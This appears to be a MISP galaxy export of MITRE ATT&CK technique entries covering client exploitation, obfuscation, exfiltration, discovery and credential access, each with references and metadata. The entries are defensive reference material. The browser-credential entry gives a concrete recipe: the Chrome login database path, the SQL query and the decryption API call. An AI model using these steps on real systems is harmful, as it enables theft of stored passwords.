Exploitation for Client Execution - T1203
Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Several types exist:
Browser-based Exploitation
Web browsers are a common target through Drive-by Compromise and Spearphishing Link. Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.
Office Applications
Common office and productivity applications such as Microsoft Office are also targeted through Phishing. Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.
Common Third-party Applications
Other applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.
Internal MISP references
UUID be2dcee9-a7a7-4e38-afd6-21b31ecc3d63 which can be used as unique global reference for Exploitation for Client Execution - T1203 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1203 |
| kill_chain | ['attack-Linux:execution', 'attack-Windows:execution', 'attack-macOS:execution'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'Windows', 'macOS'] |
Change Default File Association - T1042
When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.
System file associations are listed under HKEY_CLASSES_ROOT.[extension], for example HKEY_CLASSES_ROOT.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT[handler]\shell[action]\command. For example:
* HKEY_CLASSES_ROOT\txtfile\shell\open\command
* HKEY_CLASSES_ROOT\txtfile\shell\print\command
* HKEY_CLASSES_ROOT\txtfile\shell\printto\command
The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)
Internal MISP references
UUID 68c96494-1a50-403e-8844-69a6af278c68 which can be used as unique global reference for Change Default File Association - T1042 in MISP communities and other software using the MISP galaxy
External references
- http://msdn.microsoft.com/en-us/library/bb166549.aspx - webarchive
- https://attack.mitre.org/techniques/T1042 - webarchive
- https://capec.mitre.org/data/definitions/556.html - webarchive
- https://docs.microsoft.com/windows-server/administration/windows-commands/assoc - webarchive
- https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs - webarchive
- https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1042 |
| kill_chain | ['attack-Windows:persistence'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
File and Directory Discovery - T1420
Adversaries may enumerate files and directories or search in specific device locations for desired information within a filesystem. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including deciding if the adversary should fully infect the target and/or attempt specific actions.
On Android, Linux file permissions and SELinux policies typically stringently restrict what can be accessed by apps without taking advantage of a privilege escalation exploit. The contents of the external storage directory are generally visible, which could present concerns if sensitive data is inappropriately stored there. iOS's security architecture generally restricts the ability to perform any type of File and Directory Discovery without use of escalated privileges.
Internal MISP references
UUID cf28ca46-1fd3-46b4-b1f6-ec0b72361848 which can be used as unique global reference for File and Directory Discovery - T1420 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1420 |
| kill_chain | ['mobile-attack-Android:discovery', 'mobile-attack-iOS:discovery'] |
| mitre_platforms | ['Android', 'iOS'] |
Data from Removable Media - T1025
Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within cmd may be used to gather information.
Some adversaries may also use Automated Collection on removable media.
Internal MISP references
UUID 1b7ba276-eedc-4951-a762-0ceea2c030ec which can be used as unique global reference for Data from Removable Media - T1025 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1025 |
| kill_chain | ['attack-Linux:collection', 'attack-macOS:collection', 'attack-Windows:collection'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Access'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Exfiltration Over Physical Medium - T1052
Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.
Internal MISP references
UUID e6415f09-df0e-48de-9aba-928c902b7549 which can be used as unique global reference for Exfiltration Over Physical Medium - T1052 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1052 |
| kill_chain | ['attack-Linux:exfiltration', 'attack-macOS:exfiltration', 'attack-Windows:exfiltration'] |
| mitre_data_sources | ['Command: Command Execution', 'Drive: Drive Creation', 'File: File Access', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Data from Configuration Repository - T1602
Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices.
Adversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)
Internal MISP references
UUID 0ad7bc5c-235a-4048-944b-3b286676cb74 which can be used as unique global reference for Data from Configuration Repository - T1602 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1602 |
| kill_chain | ['attack-Network:collection'] |
| mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content'] |
| mitre_platforms | ['Network'] |
Obfuscated Files or Information - T1027
Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and Deobfuscate/Decode Files or Information for User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also use compressed or archived scripts, such as JavaScript.
Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)
Adversaries may also abuse Command Obfuscation to obscure commands executed from payloads or directly via Command and Scripting Interpreter. Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017)
Internal MISP references
UUID b3d682b6-98f2-4fb0-aa3b-b4df007ca70a which can be used as unique global reference for Obfuscated Files or Information - T1027 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1027 - webarchive
- https://github.com/danielbohannon/Revoke-Obfuscation - webarchive
- https://github.com/itsreallynick/office-crackros - webarchive
- https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/ - webarchive
- https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html - webarchive
- https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/ - webarchive
- https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf - webarchive
- https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/ - webarchive
- https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1027 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion', 'attack-Network:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'File: File Metadata', 'Module: Module Load', 'Process: OS API Execution', 'Process: Process Creation', 'Script: Script Execution', 'WMI: WMI Creation', 'Windows Registry: Windows Registry Key Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
Communication Through Removable Media - T1092
Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system.(Citation: ESET Sednit USBStealer 2014) Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by Replication Through Removable Media. Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.
Internal MISP references
UUID 64196062-5210-42c3-9a02-563a0d1797ef which can be used as unique global reference for Communication Through Removable Media - T1092 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1092 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control'] |
| mitre_data_sources | ['Drive: Drive Access', 'Drive: Drive Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Modify Cached Executable Code - T1403
ART (the Android Runtime) compiles optimized code on the device itself to improve performance. An adversary may be able to use escalated privileges to modify the cached code in order to hide malicious behavior. Since the code is compiled on the device, it may not receive the same level of integrity checks that are provided to code running in the system partition.(Citation: Sabanal-ART)
Internal MISP references
UUID 88932a8c-3a17-406f-9431-1da3ff19f6d6 which can be used as unique global reference for Modify Cached Executable Code - T1403 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1403 |
| kill_chain | ['mobile-attack-Android:persistence'] |
| mitre_platforms | ['Android'] |
Credentials from Web Browsers - T1503
Adversaries may acquire credentials from web browsers by reading files specific to the target browser. (Citation: Talos Olympic Destroyer 2018)
Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.
For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\Local\Google\Chrome\User Data\Default\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)
Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)
Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)
After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).
Internal MISP references
UUID 4579d9c9-d5b9-45e0-9848-0104637b579f which can be used as unique global reference for Credentials from Web Browsers - T1503 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1503 - webarchive
- https://blog.talosintelligence.com/2018/02/olympic-destroyer.html - webarchive
- https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata - webarchive
- https://github.com/putterpanda/mimikittenz - webarchive
- https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html - webarchive
- https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1503 |
| kill_chain | ['attack-Linux:credential-access', 'attack-macOS:credential-access', 'attack-Windows:credential-access'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Data from Cloud Storage - T1530
Adversaries may access data from cloud storage.
Many IaaS providers offer solutions for online data object storage such as Amazon S3, Azure Storage, and Google Cloud Storage. Similarly, SaaS enterprise platforms such as Office 365 and Google Workspace provide cloud-based document storage to users through services such as OneDrive and Google Drive, while SaaS application providers such as Slack, Confluence, Salesforce, and Dropbox may provide cloud storage solutions as a peripheral or primary use case of their platform.
In some cases, as with IaaS-based cloud storage, there exists no overarching application (such as SQL or Elasticsearch) with which to interact with the stored objects: instead, data from these solutions is retrieved directly though the Cloud API. In SaaS applications, adversaries may be able to collect this data directly from APIs or backend cloud storage objects, rather than through their front-end application or interface (i.e., Data from Information Repositories).
Adversaries may collect sensitive data from these cloud storage solutions. Providers typically offer security guides to help end users configure systems, though misconfigurations are a common problem.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019) There have been numerous incidents where cloud storage has been improperly secured, typically by unintentionally allowing public access to unauthenticated users, overly-broad access by all users, or even access for any anonymous person outside the control of the Identity Access Management system without even needing basic user permissions.
This open access may expose various types of sensitive data, such as credit cards, personally identifiable information, or medical records.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017)(Citation: Rclone-mega-extortion_05_2021)
Adversaries may also obtain then abuse leaked credentials from source repositories, logs, or other means as a way to gain access to cloud storage objects.
Internal MISP references
UUID 3298ce88-1628-43b1-87d9-0b5336b193d7 which can be used as unique global reference for Data from Cloud Storage - T1530 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1530 - webarchive
- https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/ - webarchive
- https://cloud.google.com/storage/docs/best-practices - webarchive
- https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide - webarchive
- https://redcanary.com/blog/rclone-mega-extortion/ - webarchive
- https://www.hipaajournal.com/47gb-medical-records-unsecured-amazon-s3-bucket/ - webarchive
- https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/a-misconfigured-amazon-s3-exposed-almost-50-thousand-pii-in-australia - webarchive
- https://www.wired.com/story/magecart-amazon-cloud-hacks/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1530 |
| kill_chain | ['attack-IaaS:collection', 'attack-SaaS:collection', 'attack-Google-Workspace:collection', 'attack-Office-365:collection'] |
| mitre_data_sources | ['Cloud Storage: Cloud Storage Access'] |
| mitre_platforms | ['IaaS', 'SaaS', 'Google Workspace', 'Office 365'] |
Indicator Removal on Host - T1630
Adversaries may delete, alter, or hide generated artifacts on a device, including files, jailbreak status, or the malicious application itself. These actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This may compromise the integrity of mobile security solutions by causing notable events or information to go unreported.
Internal MISP references
UUID 0d4e3bbb-7af5-4c88-a215-0c0906bc1e8d which can be used as unique global reference for Indicator Removal on Host - T1630 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1630 |
| kill_chain | ['mobile-attack-iOS:defense-evasion', 'mobile-attack-Android:defense-evasion'] |
| mitre_platforms | ['iOS', 'Android'] |
File and Directory Discovery - T1083
Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Many command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the Native API. Adversaries may also leverage a Network Device CLI on network devices to gather file and directory information (e.g. dir, show flash, and/or nvram).(Citation: US-CERT-TA18-106A)
Some files and directories may require elevated or specific user permissions to access.
Internal MISP references
UUID 7bc57495-ea59-4380-be31-a64af124ef18 which can be used as unique global reference for File and Directory Discovery - T1083 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1083 |
| kill_chain | ['attack-Linux:discovery', 'attack-macOS:discovery', 'attack-Windows:discovery', 'attack-Network:discovery'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: OS API Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
DLL Search Order Hijacking - T1038
Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence.
Adversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL.
Adversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)
If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.
Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.
Internal MISP references
UUID 46944654-fcc1-4f63-9dad-628102376586 which can be used as unique global reference for DLL Search Order Hijacking - T1038 in MISP communities and other software using the MISP galaxy
External references
- http://msdn.microsoft.com/en-US/library/ms682586 - webarchive
- http://msdn.microsoft.com/en-US/library/ms682600 - webarchive
- https://attack.mitre.org/techniques/T1038 - webarchive
- https://capec.mitre.org/data/definitions/471.html - webarchive
- https://msdn.microsoft.com/en-US/library/aa375365 - webarchive
- https://msrc-blog.microsoft.com/2010/08/21/microsoft-security-advisory-2269637-released/ - webarchive
- https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/ - webarchive
- https://www.owasp.org/index.php/Binary_planting - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1038 |
| kill_chain | ['attack-Windows:persistence', 'attack-Windows:privilege-escalation', 'attack-Windows:defense-evasion'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Deploy exploit using advertising - T1380
This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.
Exploits spread through advertising (malvertising) involve injecting malicious or malware-laden advertisements into legitimate online advertising networks and webpages. (Citation: TPMalvertising)
Internal MISP references
UUID d72c0bc0-3007-418c-842c-328027ebdbc1 which can be used as unique global reference for Deploy exploit using advertising - T1380 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1380 |
| kill_chain | ['pre-attack:launch'] |
Detect App Analysis Environment - T1440
An adversary could evade app vetting techniques by placing code in a malicious application to detect whether it is running in an app analysis environment and, if so, avoid performing malicious actions while under analysis.
Discussion of general Android anti-analysis techniques can be found in (Citation: Petsas). Discussion of Google Play Store-specific anti-analysis techniques can be found in (Citation: Oberheide-Bouncer), (Citation: Percoco-Bouncer).
(Citation: Wang) presents a discussion of iOS anti-analysis techniques.
Platforms: Android, iOS
Internal MISP references
UUID b765efd1-02e6-4e67-aebf-0fef5c37e54b which can be used as unique global reference for Detect App Analysis Environment - T1440 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1440 |
Related clusters
To see the related clusters, click here.
Exploitation for Privilege Escalation - T1404
Adversaries may exploit software vulnerabilities in order to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in an application, service, within the operating system software, or kernel itself to execute adversary-controlled code. Security constructions, such as permission levels, will often hinder access to information and use of certain techniques. Adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
When initially gaining access to a device, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and applications running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user- level permission to root permissions depending on the component that is vulnerable.
Internal MISP references
UUID 351c0927-2fc1-4a2c-ad84-cbbee7eb8172 which can be used as unique global reference for Exploitation for Privilege Escalation - T1404 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1404 |
| kill_chain | ['mobile-attack-Android:privilege-escalation', 'mobile-attack-iOS:privilege-escalation'] |
| mitre_platforms | ['Android', 'iOS'] |
File System Permissions Weakness - T1044
Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.
Services
Manipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.
Executable Installers
Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL Search Order Hijacking. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)
Internal MISP references
UUID 0ca7beef-9bbc-4e35-97cf-437384ddce6a which can be used as unique global reference for File System Permissions Weakness - T1044 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1044 |
| kill_chain | ['attack-Windows:persistence', 'attack-Linux:persistence', 'attack-macOS:persistence', 'attack-Windows:privilege-escalation', 'attack-Linux:privilege-escalation', 'attack-macOS:privilege-escalation'] |
| mitre_platforms | ['Windows', 'Linux', 'macOS'] |
Related clusters
To see the related clusters, click here.
Obfuscated Files or Information - T1406
Adversaries may attempt to make a payload or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the device or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Portions of files can also be encoded to hide the plaintext strings that would otherwise help defenders with discovery. Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled.(Citation: Microsoft MalLockerB)
Internal MISP references
UUID d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a which can be used as unique global reference for Obfuscated Files or Information - T1406 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1406 |
| kill_chain | ['mobile-attack-Android:defense-evasion', 'mobile-attack-iOS:defense-evasion'] |
| mitre_platforms | ['Android', 'iOS'] |
Obtain Device Cloud Backups - T1470
An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud backup services (e.g. Google's Android backup service or Apple's iCloud) could use that access to obtain sensitive data stored in device backups. For example, the Elcomsoft Phone Breaker product advertises the ability to retrieve iOS backup data from Apple's iCloud (Citation: Elcomsoft-EPPB). Elcomsoft also describes (Citation: Elcomsoft-WhatsApp) obtaining WhatsApp communication histories from backups stored in iCloud.
Internal MISP references
UUID 0c71033e-401e-4b97-9309-7a7c95e43a5d which can be used as unique global reference for Obtain Device Cloud Backups - T1470 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1470 - webarchive
- https://blog.elcomsoft.com/2017/07/extract-and-decrypt-whatsapp-backups-from-icloud/ - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-0.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-1.html - webarchive
- https://www.elcomsoft.com/eppb.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1470 |
| kill_chain | ['mobile-attack-Android:remote-service-effects', 'mobile-attack-iOS:remote-service-effects'] |
| mitre_platforms | ['Android', 'iOS'] |
Exfiltration Over Alternative Protocol - T1048
Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Adversaries may also opt to encrypt and/or obfuscate these alternate channels.
Exfiltration Over Alternative Protocol can be done using various common operating system utilities such as Net/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques)
Many IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or Cloud API.
Internal MISP references
UUID a19e86f8-1c0a-4fea-8407-23b73d615776 which can be used as unique global reference for Exfiltration Over Alternative Protocol - T1048 in MISP communities and other software using the MISP galaxy
External references
- http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/ - webarchive
- https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf - webarchive
- https://attack.mitre.org/techniques/T1048 - webarchive
- https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1048 |
| kill_chain | ['attack-Linux:exfiltration', 'attack-macOS:exfiltration', 'attack-Windows:exfiltration', 'attack-Office-365:exfiltration', 'attack-SaaS:exfiltration', 'attack-IaaS:exfiltration', 'attack-Google-Workspace:exfiltration', 'attack-Network:exfiltration'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Cloud Storage: Cloud Storage Access', 'Command: Command Execution', 'File: File Access', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Office 365', 'SaaS', 'IaaS', 'Google Workspace', 'Network'] |
System Network Connections Discovery - T1049
Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
An adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview) Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.
Utilities and commands that acquire this information include netstat, "net use," and "net session" with Net. In Mac and Linux, netstat and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to "net session". Additionally, built-in features native to network devices and Network Device CLI may be used (e.g. show ip sockets, show tcp brief).(Citation: US-CERT-TA18-106A)
Internal MISP references
UUID 7e150503-88e7-4861-866b-ff1ac82c4475 which can be used as unique global reference for System Network Connections Discovery - T1049 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1049 - webarchive
- https://cloud.google.com/vpc/docs/vpc - webarchive
- https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html - webarchive
- https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview - webarchive
- https://www.us-cert.gov/ncas/alerts/TA18-106A - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1049 |
| kill_chain | ['attack-Windows:discovery', 'attack-IaaS:discovery', 'attack-Linux:discovery', 'attack-macOS:discovery', 'attack-Network:discovery'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: OS API Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Windows', 'IaaS', 'Linux', 'macOS', 'Network'] |
Use Alternate Authentication Material - T1550
Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.
